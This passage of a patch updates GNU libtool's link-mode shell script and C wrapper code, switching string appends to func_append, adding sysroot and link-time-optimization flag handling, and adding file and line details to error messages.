++ va_end (args);
++ }
++}
++
+ static void
+-lt_error_core (int exit_status, const char *mode,
++lt_error_core (int exit_status, const char *file,
++ int line, const char *mode,
+ const char *message, va_list ap)
+ {
+- fprintf (stderr, "%s: %s: ", program_name, mode);
++ fprintf (stderr, "%s:%s:%d: %s: ", program_name, file, line, mode);
+ vfprintf (stderr, message, ap);
+ fprintf (stderr, ".\n");
+
+@@ -3988,20 +4832,32 @@ lt_error_core (int exit_status, const char *mode,
+ }
+
+ void
+-lt_fatal (const char *message, ...)
++lt_fatal (const char *file, int line, const char *message, ...)
+ {
+ va_list ap;
+ va_start (ap, message);
+- lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
++ lt_error_core (EXIT_FAILURE, file, line, "FATAL", message, ap);
+ va_end (ap);
+ }
+
++static const char *
++nonnull (const char *s)
++{
++ return s ? s : "(null)";
++}
++
++static const char *
++nonempty (const char *s)
++{
++ return (s && !*s) ? "(empty)" : nonnull (s);
++}
++
+ void
+ lt_setenv (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_setenv) setting '%s' to '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_setenv) setting '%s' to '%s'\n",
++ nonnull (name), nonnull (value));
+ {
+ #ifdef HAVE_SETENV
+ /* always make a copy, for consistency with !HAVE_SETENV */
+@@ -4049,9 +4905,9 @@ lt_extend_str (const char *orig_value, const char *add, int to_end)
+ void
+ lt_update_exe_path (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_update_exe_path) modifying '%s' by prepending '%s'\n",
++ nonnull (name), nonnull (value));
+
+ if (name && *name && value && *value)
+ {
+@@ -4070,9 +4926,9 @@ lt_update_exe_path (const char *name, const char *value)
+ void
+ lt_update_lib_path (const char *name, const char *value)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
+- (name ? name : "<NULL>"),
+- (value ? value : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(lt_update_lib_path) modifying '%s' by prepending '%s'\n",
++ nonnull (name), nonnull (value));
+
+ if (name && *name && value && *value)
+ {
+@@ -4222,7 +5078,7 @@ EOF
+ func_win32_import_lib_p ()
+ {
+ $opt_debug
+- case `eval "$file_magic_cmd \"\$1\" 2>/dev/null" | $SED -e 10q` in
++ case `eval $file_magic_cmd \"\$1\" 2>/dev/null | $SED -e 10q` in
+ *import*) : ;;
+ *) false ;;
+ esac
+@@ -4401,9 +5257,9 @@ func_mode_link ()
+ ;;
+ *)
+ if test "$prev" = dlfiles; then
+- dlfiles="$dlfiles $arg"
++ func_append dlfiles " $arg"
+ else
+- dlprefiles="$dlprefiles $arg"
++ func_append dlprefiles " $arg"
+ fi
+ prev=
+ continue
+@@ -4427,7 +5283,7 @@ func_mode_link ()
+ *-*-darwin*)
+ case "$deplibs " in
+ *" $qarg.ltframework "*) ;;
+- *) deplibs="$deplibs $qarg.ltframework" # this is fixed later
++ *) func_append deplibs " $qarg.ltframework" # this is fixed later
+ ;;
+ esac
+ ;;
+@@ -4446,7 +5302,7 @@ func_mode_link ()
+ moreargs=
+ for fil in `cat "$save_arg"`
+ do
+-# moreargs="$moreargs $fil"
++# func_append moreargs " $fil"
+ arg=$fil
+ # A libtool-controlled object.
+
+@@ -4475,7 +5331,7 @@ func_mode_link ()
+
+ if test "$prev" = dlfiles; then
+ if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+- dlfiles="$dlfiles $pic_object"
++ func_append dlfiles " $pic_object"
+ prev=
+ continue
+ else
+@@ -4487,7 +5343,7 @@ func_mode_link ()
+ # CHECK ME: I think I busted this. -Ossama
+ if test "$prev" = dlprefiles; then
+ # Preload the old-style object.
+- dlprefiles="$dlprefiles $pic_object"
++ func_append dlprefiles " $pic_object"
+ prev=
+ fi
+
+@@ -4557,12 +5413,12 @@ func_mode_link ()
+ if test "$prev" = rpath; then
+ case "$rpath " in
+ *" $arg "*) ;;
+- *) rpath="$rpath $arg" ;;
++ *) func_append rpath " $arg" ;;
+ esac
+ else
+ case "$xrpath " in
+ *" $arg "*) ;;
+- *) xrpath="$xrpath $arg" ;;
++ *) func_append xrpath " $arg" ;;
+ esac
+ fi
+ prev=
+@@ -4574,28 +5430,28 @@ func_mode_link ()
+ continue
+ ;;
+ weak)
+- weak_libs="$weak_libs $arg"
++ func_append weak_libs " $arg"
+ prev=
+ continue
+ ;;
+ xcclinker)
+- linker_flags="$linker_flags $qarg"
+- compiler_flags="$compiler_flags $qarg"
++ func_append linker_flags " $qarg"
++ func_append compiler_flags " $qarg"
+ prev=
+ func_append compile_command " $qarg"
+ func_append finalize_command " $qarg"
+ continue
+ ;;
+ xcompiler)
+- compiler_flags="$compiler_flags $qarg"
++ func_append compiler_flags " $qarg"
+ prev=
+ func_append compile_command " $qarg"
+ func_append finalize_command " $qarg"
+ continue
+ ;;
+ xlinker)
+- linker_flags="$linker_flags $qarg"
+- compiler_flags="$compiler_flags $wl$qarg"
++ func_append linker_flags " $qarg"
++ func_append compiler_flags " $wl$qarg"
+ prev=
+ func_append compile_command " $wl$qarg"
+ func_append finalize_command " $wl$qarg"
+@@ -4686,15 +5542,16 @@ func_mode_link ()
+ ;;
+
+ -L*)
+- func_stripname '-L' '' "$arg"
+- dir=$func_stripname_result
+- if test -z "$dir"; then
++ func_stripname "-L" '' "$arg"
++ if test -z "$func_stripname_result"; then
+ if test "$#" -gt 0; then
+ func_fatal_error "require no space between \`-L' and \`$1'"
+ else
+ func_fatal_error "need path for \`-L' option"
+ fi
+ fi
++ func_resolve_sysroot "$func_stripname_result"
++ dir=$func_resolve_sysroot_result
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) ;;
+@@ -4706,10 +5563,16 @@ func_mode_link ()
+ ;;
+ esac
+ case "$deplibs " in
+- *" -L$dir "*) ;;
++ *" -L$dir "* | *" $arg "*)
++ # Will only happen for absolute or sysroot arguments
++ ;;
+ *)
+- deplibs="$deplibs -L$dir"
+- lib_search_path="$lib_search_path $dir"
++ # Preserve sysroot, but never include relative directories
++ case $dir in
++ [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;;
++ *) func_append deplibs " -L$dir" ;;
++ esac
++ func_append lib_search_path " $dir"
+ ;;
+ esac
+ case $host in
+@@ -4718,12 +5581,12 @@ func_mode_link ()
+ case :$dllsearchpath: in
+ *":$dir:"*) ;;
+ ::) dllsearchpath=$dir;;
+- *) dllsearchpath="$dllsearchpath:$dir";;
++ *) func_append dllsearchpath ":$dir";;
+ esac
+ case :$dllsearchpath: in
+ *":$testbindir:"*) ;;
+ ::) dllsearchpath=$testbindir;;
+- *) dllsearchpath="$dllsearchpath:$testbindir";;
++ *) func_append dllsearchpath ":$testbindir";;
+ esac
+ ;;
+ esac
+@@ -4747,7 +5610,7 @@ func_mode_link ()
+ ;;
+ *-*-rhapsody* | *-*-darwin1.[012])
+ # Rhapsody C and math libraries are in the System framework
+- deplibs="$deplibs System.ltframework"
++ func_append deplibs " System.ltframework"
+ continue
+ ;;
+ *-*-sco3.2v5* | *-*-sco5v6*)
+@@ -4758,9 +5621,6 @@ func_mode_link ()
+ # Compiler inserts libc in the correct place for threads to work
+ test "X$arg" = "X-lc" && continue
+ ;;
+- *-*-linux*)
+- test "X$arg" = "X-lc" && continue
+- ;;
+ esac
+ elif test "X$arg" = "X-lc_r"; then
+ case $host in
+@@ -4770,7 +5630,7 @@ func_mode_link ()
+ ;;
+ esac
+ fi
+- deplibs="$deplibs $arg"
++ func_append deplibs " $arg"
+ continue
+ ;;
+
+@@ -4782,8 +5642,8 @@ func_mode_link ()
+ # Tru64 UNIX uses -model [arg] to determine the layout of C++
+ # classes, name mangling, and exception handling.
+ # Darwin uses the -arch flag to determine output architecture.
+- -model|-arch|-isysroot)
+- compiler_flags="$compiler_flags $arg"
++ -model|-arch|-isysroot|--sysroot)
++ func_append compiler_flags " $arg"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ prev=xcompiler
+@@ -4791,12 +5651,12 @@ func_mode_link ()
+ ;;
+
+ -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe|-threads)
+- compiler_flags="$compiler_flags $arg"
++ func_append compiler_flags " $arg"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ case "$new_inherited_linker_flags " in
+ *" $arg "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $arg" ;;
++ * ) func_append new_inherited_linker_flags " $arg" ;;
+ esac
+ continue
+ ;;
+@@ -4863,13 +5723,17 @@ func_mode_link ()
+ # We need an absolute path.
+ case $dir in
+ [\\/]* | [A-Za-z]:[\\/]*) ;;
++ =*)
++ func_stripname '=' '' "$dir"
++ dir=$lt_sysroot$func_stripname_result
++ ;;
+ *)
+ func_fatal_error "only absolute run-paths are allowed"
+ ;;
+ esac
+ case "$xrpath " in
+ *" $dir "*) ;;
+- *) xrpath="$xrpath $dir" ;;
++ *) func_append xrpath " $dir" ;;
+ esac
+ continue
+ ;;
+@@ -4922,8 +5786,8 @@ func_mode_link ()
+ for flag in $args; do
+ IFS="$save_ifs"
+ func_quote_for_eval "$flag"
+- arg="$arg $func_quote_for_eval_result"
+- compiler_flags="$compiler_flags $func_quote_for_eval_result"
++ func_append arg " $func_quote_for_eval_result"
++ func_append compiler_flags " $func_quote_for_eval_result"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$arg"
+@@ -4938,9 +5802,9 @@ func_mode_link ()
+ for flag in $args; do
+ IFS="$save_ifs"
+ func_quote_for_eval "$flag"
+- arg="$arg $wl$func_quote_for_eval_result"
+- compiler_flags="$compiler_flags $wl$func_quote_for_eval_result"
+- linker_flags="$linker_flags $func_quote_for_eval_result"
++ func_append arg " $wl$func_quote_for_eval_result"
++ func_append compiler_flags " $wl$func_quote_for_eval_result"
++ func_append linker_flags " $func_quote_for_eval_result"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$arg"
+@@ -4968,24 +5832,27 @@ func_mode_link ()
+ arg="$func_quote_for_eval_result"
+ ;;
+
+- # -64, -mips[0-9] enable 64-bit mode on the SGI compiler
+- # -r[0-9][0-9]* specifies the processor on the SGI compiler
+- # -xarch=*, -xtarget=* enable 64-bit mode on the Sun compiler
+- # +DA*, +DD* enable 64-bit mode on the HP compiler
+- # -q* pass through compiler args for the IBM compiler
+- # -m*, -t[45]*, -txscale* pass through architecture-specific
+- # compiler args for GCC
+- # -F/path gives path to uninstalled frameworks, gcc on darwin
+- # -p, -pg, --coverage, -fprofile-* pass through profiling flag for GCC
+- # @file GCC response files
+- # -tp=* Portland pgcc target processor selection
++ # Flags to be passed through unchanged, with rationale:
++ # -64, -mips[0-9] enable 64-bit mode for the SGI compiler
++ # -r[0-9][0-9]* specify processor for the SGI compiler
++ # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler
++ # +DA*, +DD* enable 64-bit mode for the HP compiler
++ # -q* compiler args for the IBM compiler
++ # -m*, -t[45]*, -txscale* architecture-specific flags for GCC
++ # -F/path path to uninstalled frameworks, gcc on darwin
++ # -p, -pg, --coverage, -fprofile-* profiling flags for GCC
++ # @file GCC response files
++ # -tp=* Portland pgcc target processor selection
++ # --sysroot=* for sysroot support
++ # -O*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+- -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*)
++ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
++ -O*|-flto*|-fwhopr*|-fuse-linker-plugin)
+ func_quote_for_eval "$arg"
+ arg="$func_quote_for_eval_result"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+- compiler_flags="$compiler_flags $arg"
++ func_append compiler_flags " $arg"
+ continue
+ ;;
+
+@@ -4997,7 +5864,7 @@ func_mode_link ()
+
+ *.$objext)
+ # A standard object.
+- objs="$objs $arg"
++ func_append objs " $arg"
+ ;;
+
+ *.lo)
+@@ -5028,7 +5895,7 @@ func_mode_link ()
+
+ if test "$prev" = dlfiles; then
+ if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then
+- dlfiles="$dlfiles $pic_object"
++ func_append dlfiles " $pic_object"
+ prev=
+ continue
+ else
+@@ -5040,7 +5907,7 @@ func_mode_link ()
+ # CHECK ME: I think I busted this. -Ossama
+ if test "$prev" = dlprefiles; then
+ # Preload the old-style object.
+- dlprefiles="$dlprefiles $pic_object"
++ func_append dlprefiles " $pic_object"
+ prev=
+ fi
+
+@@ -5085,24 +5952,25 @@ func_mode_link ()
+
+ *.$libext)
+ # An archive.
+- deplibs="$deplibs $arg"
+- old_deplibs="$old_deplibs $arg"
++ func_append deplibs " $arg"
++ func_append old_deplibs " $arg"
+ continue
+ ;;
+
+ *.la)
+ # A libtool-controlled library.
+
++ func_resolve_sysroot "$arg"
+ if test "$prev" = dlfiles; then
+ # This library was specified with -dlopen.
+- dlfiles="$dlfiles $arg"
++ func_append dlfiles " $func_resolve_sysroot_result"
+ prev=
+ elif test "$prev" = dlprefiles; then
+ # The library was specified with -dlpreopen.
+- dlprefiles="$dlprefiles $arg"
++ func_append dlprefiles " $func_resolve_sysroot_result"
+ prev=
+ else
+- deplibs="$deplibs $arg"
++ func_append deplibs " $func_resolve_sysroot_result"
+ fi
+ continue
+ ;;
+@@ -5127,7 +5995,7 @@ func_mode_link ()
+ func_fatal_help "the \`$prevarg' option requires an argument"
+
+ if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then
+- eval "arg=\"$export_dynamic_flag_spec\""
++ eval arg=\"$export_dynamic_flag_spec\"
+ func_append compile_command " $arg"
+ func_append finalize_command " $arg"
+ fi
+@@ -5144,11 +6012,13 @@ func_mode_link ()
+ else
+ shlib_search_path=
+ fi
+- eval "sys_lib_search_path=\"$sys_lib_search_path_spec\""
+- eval "sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\""
++ eval sys_lib_search_path=\"$sys_lib_search_path_spec\"
++ eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\"
+
+ func_dirname "$output" "/" ""
+ output_objdir="$func_dirname_result$objdir"
++ func_to_tool_file "$output_objdir/"
++ tool_output_objdir=$func_to_tool_file_result
+ # Create the object directory.
+ func_mkdir_p "$output_objdir"
+
+@@ -5169,12 +6039,12 @@ func_mode_link ()
+ # Find all interdependent deplibs by searching for libraries
+ # that are linked more than once (e.g. -la -lb -la)
+ for deplib in $deplibs; do
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- libs="$libs $deplib"
++ func_append libs " $deplib"
+ done
+
+ if test "$linkmode" = lib; then
+@@ -5187,9 +6057,9 @@ func_mode_link ()
+ if $opt_duplicate_compiler_generated_deps; then
+ for pre_post_dep in $predeps $postdeps; do
+ case "$pre_post_deps " in
+- *" $pre_post_dep "*) specialdeplibs="$specialdeplibs $pre_post_deps" ;;
++ *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;;
+ esac
+- pre_post_deps="$pre_post_deps $pre_post_dep"
++ func_append pre_post_deps " $pre_post_dep"
+ done
+ fi
+ pre_post_deps=
+@@ -5256,8 +6126,9 @@ func_mode_link ()
+ for lib in $dlprefiles; do
+ # Ignore non-libtool-libs
+ dependency_libs=
++ func_resolve_sysroot "$lib"
+ case $lib in
+- *.la) func_source "$lib" ;;
++ *.la) func_source "$func_resolve_sysroot_result" ;;
+ esac
+
+ # Collect preopened libtool deplibs, except any this library
+@@ -5267,7 +6138,7 @@ func_mode_link ()
+ deplib_base=$func_basename_result
+ case " $weak_libs " in
+ *" $deplib_base "*) ;;
+- *) deplibs="$deplibs $deplib" ;;
++ *) func_append deplibs " $deplib" ;;
+ esac
+ done
+ done
+@@ -5288,11 +6159,11 @@ func_mode_link ()
+ compile_deplibs="$deplib $compile_deplibs"
+ finalize_deplibs="$deplib $finalize_deplibs"
+ else
+- compiler_flags="$compiler_flags $deplib"
++ func_append compiler_flags " $deplib"
+ if test "$linkmode" = lib ; then
+ case "$new_inherited_linker_flags " in
+ *" $deplib "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
++ * ) func_append new_inherited_linker_flags " $deplib" ;;
+ esac
+ fi
+ fi
+@@ -5377,7 +6248,7 @@ func_mode_link ()
+ if test "$linkmode" = lib ; then
+ case "$new_inherited_linker_flags " in
+ *" $deplib "*) ;;
+- * ) new_inherited_linker_flags="$new_inherited_linker_flags $deplib" ;;
++ * ) func_append new_inherited_linker_flags " $deplib" ;;
+ esac
+ fi
+ fi
+@@ -5390,7 +6261,8 @@ func_mode_link ()
+ test "$pass" = conv && continue
+ newdependency_libs="$deplib $newdependency_libs"
+ func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ prog)
+ if test "$pass" = conv; then
+@@ -5404,7 +6276,8 @@ func_mode_link ()
+ finalize_deplibs="$deplib $finalize_deplibs"
+ fi
+ func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ *)
+ func_warning "\`-L' is ignored for archives/objects"
+@@ -5415,17 +6288,21 @@ func_mode_link ()
+ -R*)
+ if test "$pass" = link; then
+ func_stripname '-R' '' "$deplib"
+- dir=$func_stripname_result
++ func_resolve_sysroot "$func_stripname_result"
++ dir=$func_resolve_sysroot_result
+ # Make sure the xrpath contains only unique directories.
+ case "$xrpath " in
+ *" $dir "*) ;;
+- *) xrpath="$xrpath $dir" ;;
++ *) func_append xrpath " $dir" ;;
+ esac
+ fi
+ deplibs="$deplib $deplibs"
+ continue
+ ;;
+- *.la) lib="$deplib" ;;
++ *.la)
++ func_resolve_sysroot "$deplib"
++ lib=$func_resolve_sysroot_result
++ ;;
+ *.$libext)
+ if test "$pass" = conv; then
+ deplibs="$deplib $deplibs"
+@@ -5488,11 +6365,11 @@ func_mode_link ()
+ if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then
+ # If there is no dlopen support or we're linking statically,
+ # we need to preload.
+- newdlprefiles="$newdlprefiles $deplib"
++ func_append newdlprefiles " $deplib"
+ compile_deplibs="$deplib $compile_deplibs"
+ finalize_deplibs="$deplib $finalize_deplibs"
+ else
+- newdlfiles="$newdlfiles $deplib"
++ func_append newdlfiles " $deplib"
+ fi
+ fi
+ continue
+@@ -5538,7 +6415,7 @@ func_mode_link ()
+ for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do
+ case " $new_inherited_linker_flags " in
+ *" $tmp_inherited_linker_flag "*) ;;
+- *) new_inherited_linker_flags="$new_inherited_linker_flags $tmp_inherited_linker_flag";;
++ *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";;
+ esac
+ done
+ fi
+@@ -5546,8 +6423,8 @@ func_mode_link ()
+ if test "$linkmode,$pass" = "lib,link" ||
+ test "$linkmode,$pass" = "prog,scan" ||
+ { test "$linkmode" != prog && test "$linkmode" != lib; }; then
+- test -n "$dlopen" && dlfiles="$dlfiles $dlopen"
+- test -n "$dlpreopen" && dlprefiles="$dlprefiles $dlpreopen"
++ test -n "$dlopen" && func_append dlfiles " $dlopen"
++ test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen"
+ fi
+
+ if test "$pass" = conv; then
+@@ -5558,20 +6435,20 @@ func_mode_link ()
+ func_fatal_error "cannot find name of link library for \`$lib'"
+ fi
+ # It is a libtool convenience library, so add in its objects.
+- convenience="$convenience $ladir/$objdir/$old_library"
+- old_convenience="$old_convenience $ladir/$objdir/$old_library"
++ func_append convenience " $ladir/$objdir/$old_library"
++ func_append old_convenience " $ladir/$objdir/$old_library"
+ elif test "$linkmode" != prog && test "$linkmode" != lib; then
+ func_fatal_error "\`$lib' is not a convenience library"
+ fi
+ tmp_libs=
+ for deplib in $dependency_libs; do
+ deplibs="$deplib $deplibs"
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $deplib"
+ done
+ continue
+ fi # $pass = conv
+@@ -5579,9 +6456,15 @@ func_mode_link ()
+
+ # Get the name of the library we link against.
+ linklib=
+- for l in $old_library $library_names; do
+- linklib="$l"
+- done
++ if test -n "$old_library" &&
++ { test "$prefer_static_libs" = yes ||
++ test "$prefer_static_libs,$installed" = "built,no"; }; then
++ linklib=$old_library
++ else
++ for l in $old_library $library_names; do
++ linklib="$l"
++ done
++ fi
+ if test -z "$linklib"; then
+ func_fatal_error "cannot find name of link library for \`$lib'"
+ fi
+@@ -5598,9 +6481,9 @@ func_mode_link ()
+ # statically, we need to preload. We also need to preload any
+ # dependent libraries so libltdl's deplib preloader doesn't
+ # bomb out in the load deplibs phase.
+- dlprefiles="$dlprefiles $lib $dependency_libs"
++ func_append dlprefiles " $lib $dependency_libs"
+ else
+- newdlfiles="$newdlfiles $lib"
++ func_append newdlfiles " $lib"
+ fi
+ continue
+ fi # $pass = dlopen
+@@ -5622,14 +6505,14 @@ func_mode_link ()
+
+ # Find the relevant object directory and library name.
+ if test "X$installed" = Xyes; then
+- if test ! -f "$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
++ if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then
+ func_warning "library \`$lib' was moved."
+ dir="$ladir"
+ absdir="$abs_ladir"
+ libdir="$abs_ladir"
+ else
+- dir="$libdir"
+- absdir="$libdir"
++ dir="$lt_sysroot$libdir"
++ absdir="$lt_sysroot$libdir"
+ fi
+ test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes
+ else
+@@ -5637,12 +6520,12 @@ func_mode_link ()
+ dir="$ladir"
+ absdir="$abs_ladir"
+ # Remove this search path later
+- notinst_path="$notinst_path $abs_ladir"
++ func_append notinst_path " $abs_ladir"
+ else
+ dir="$ladir/$objdir"
+ absdir="$abs_ladir/$objdir"
+ # Remove this search path later
+- notinst_path="$notinst_path $abs_ladir"
++ func_append notinst_path " $abs_ladir"
+ fi
+ fi # $installed = yes
+ func_stripname 'lib' '.la' "$laname"
+@@ -5653,20 +6536,46 @@ func_mode_link ()
+ if test -z "$libdir" && test "$linkmode" = prog; then
+ func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'"
+ fi
+- # Prefer using a static library (so that no silly _DYNAMIC symbols
+- # are required to link).
+- if test -n "$old_library"; then
+- newdlprefiles="$newdlprefiles $dir/$old_library"
+- # Keep a list of preopened convenience libraries to check
+- # that they are being used correctly in the link pass.
+- test -z "$libdir" && \
+- dlpreconveniencelibs="$dlpreconveniencelibs $dir/$old_library"
+- # Otherwise, use the dlname, so that lt_dlopen finds it.
+- elif test -n "$dlname"; then
+- newdlprefiles="$newdlprefiles $dir/$dlname"
+- else
+- newdlprefiles="$newdlprefiles $dir/$linklib"
+- fi
++ case "$host" in
++ # special handling for platforms with PE-DLLs.
++ *cygwin* | *mingw* | *cegcc* )
++ # Linker will automatically link against shared library if both
++ # static and shared are present. Therefore, ensure we extract
++ # symbols from the import library if a shared library is present
++ # (otherwise, the dlopen module name will be incorrect). We do
++ # this by putting the import library name into $newdlprefiles.
++ # We recover the dlopen module name by 'saving' the la file
++ # name in a special purpose variable, and (later) extracting the
++ # dlname from the la file.
++ if test -n "$dlname"; then
++ func_tr_sh "$dir/$linklib"
++ eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname"
++ func_append newdlprefiles " $dir/$linklib"
++ else
++ func_append newdlprefiles " $dir/$old_library"
++ # Keep a list of preopened convenience libraries to check
++ # that they are being used correctly in the link pass.
++ test -z "$libdir" && \
++ func_append dlpreconveniencelibs " $dir/$old_library"
++ fi
++ ;;
++ * )
++ # Prefer using a static library (so that no silly _DYNAMIC symbols
++ # are required to link).
++ if test -n "$old_library"; then
++ func_append newdlprefiles " $dir/$old_library"
++ # Keep a list of preopened convenience libraries to check
++ # that they are being used correctly in the link pass.
++ test -z "$libdir" && \
++ func_append dlpreconveniencelibs " $dir/$old_library"
++ # Otherwise, use the dlname, so that lt_dlopen finds it.
++ elif test -n "$dlname"; then
++ func_append newdlprefiles " $dir/$dlname"
++ else
++ func_append newdlprefiles " $dir/$linklib"
++ fi
++ ;;
++ esac
+ fi # $pass = dlpreopen
+
+ if test -z "$libdir"; then
+@@ -5684,7 +6593,7 @@ func_mode_link ()
+
+
+ if test "$linkmode" = prog && test "$pass" != link; then
+- newlib_search_path="$newlib_search_path $ladir"
++ func_append newlib_search_path " $ladir"
+ deplibs="$lib $deplibs"
+
+ linkalldeplibs=no
+@@ -5697,7 +6606,8 @@ func_mode_link ()
+ for deplib in $dependency_libs; do
+ case $deplib in
+ -L*) func_stripname '-L' '' "$deplib"
+- newlib_search_path="$newlib_search_path $func_stripname_result"
++ func_resolve_sysroot "$func_stripname_result"
++ func_append newlib_search_path " $func_resolve_sysroot_result"
+ ;;
+ esac
+ # Need to link against all dependency_libs?
+@@ -5708,12 +6618,12 @@ func_mode_link ()
+ # or/and link against static libraries
+ newdependency_libs="$deplib $newdependency_libs"
+ fi
+- if $opt_duplicate_deps ; then
++ if $opt_preserve_dup_deps ; then
+ case "$tmp_libs " in
+- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
++ *" $deplib "*) func_append specialdeplibs " $deplib" ;;
+ esac
+ fi
+- tmp_libs="$tmp_libs $deplib"
++ func_append tmp_libs " $deplib"
+ done # for deplib
+ continue
+ fi # $linkmode = prog...
+@@ -5728,7 +6638,7 @@ func_mode_link ()
+ # Make sure the rpath contains only unique directories.
+ case "$temp_rpath:" in
+ *"$absdir:"*) ;;
+- *) temp_rpath="$temp_rpath$absdir:" ;;
++ *) func_append temp_rpath "$absdir:" ;;
+ esac
+ fi
+
+@@ -5740,7 +6650,7 @@ func_mode_link ()
+ *)
+ case "$compile_rpath " in
+ *" $absdir "*) ;;
+- *) compile_rpath="$compile_rpath $absdir"
++ *) func_append compile_rpath " $absdir" ;;
+ esac
+ ;;
+ esac
+@@ -5749,7 +6659,7 @@ func_mode_link ()
+ *)
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir"
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ ;;
+ esac
+@@ -5774,12 +6684,12 @@ func_mode_link ()
+ case $host in
+ *cygwin* | *mingw* | *cegcc*)
+ # No point in relinking DLLs because paths are not encoded
+- notinst_deplibs="$notinst_deplibs $lib"
++ func_append notinst_deplibs " $lib"
+ need_relink=no
+ ;;
+ *)
+ if test "$installed" = no; then
+- notinst_deplibs="$notinst_deplibs $lib"
++ func_append notinst_deplibs " $lib"
+ need_relink=yes
+ fi
+ ;;
+@@ -5814,7 +6724,7 @@ func_mode_link ()
+ *)
+ case "$compile_rpath " in
+ *" $absdir "*) ;;
+- *) compile_rpath="$compile_rpath $absdir"
++ *) func_append compile_rpath " $absdir" ;;
+ esac
+ ;;
+ esac
+@@ -5823,7 +6733,7 @@ func_mode_link ()
+ *)
+ case "$finalize_rpath " in
+ *" $libdir "*) ;;
+- *) finalize_rpath="$finalize_rpath $libdir"
++ *) func_append finalize_rpath " $libdir" ;;
+ esac
+ ;;
+ esac
+@@ -5835,7 +6745,7 @@ func_mode_link ()
+ shift
+ realname="$1"
+ shift
+- eval "libname=\"$libname_spec\""
++ libname=`eval "\\$ECHO \"$libname_spec\""`
+ # use dlname if we got it. it's perfectly good, no?
+ if test -n "$dlname"; then
+ soname="$dlname"
+@@ -5848,7 +6758,7 @@ func_mode_link ()
+ versuffix="-$major"
+ ;;
+ esac
+- eval "soname=\"$soname_spec\""
++ eval soname=\"$soname_spec\"
+ else
+ soname="$realname"
+ fi
+@@ -5877,7 +6787,7 @@ func_mode_link ()
+ linklib=$newlib
+ fi # test -n "$old_archive_from_expsyms_cmds"
+
+- if test "$linkmode" = prog || test "$mode" != relink; then
++ if test "$linkmode" = prog || test "$opt_mode" != relink; then
+ add_shlibpath=
+ add_dir=
+ add=
+@@ -5933,7 +6843,7 @@ func_mode_link ()
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+ [\\/]*)
+- add_dir="$add_dir -L$inst_prefix_dir$libdir"
++ func_append add_dir " -L$inst_prefix_dir$libdir"
+ ;;
+ esac
+ fi
+@@ -5955,7 +6865,7 @@ func_mode_link ()
+ if test -n "$add_shlibpath"; then
+ case :$compile_shlibpath: in
+ *":$add_shlibpath:"*) ;;
+- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
++ *) func_append compile_shlibpath "$add_shlibpath:" ;;
+ esac
+ fi
+ if test "$linkmode" = prog; then
+@@ -5969,13 +6879,13 @@ func_mode_link ()
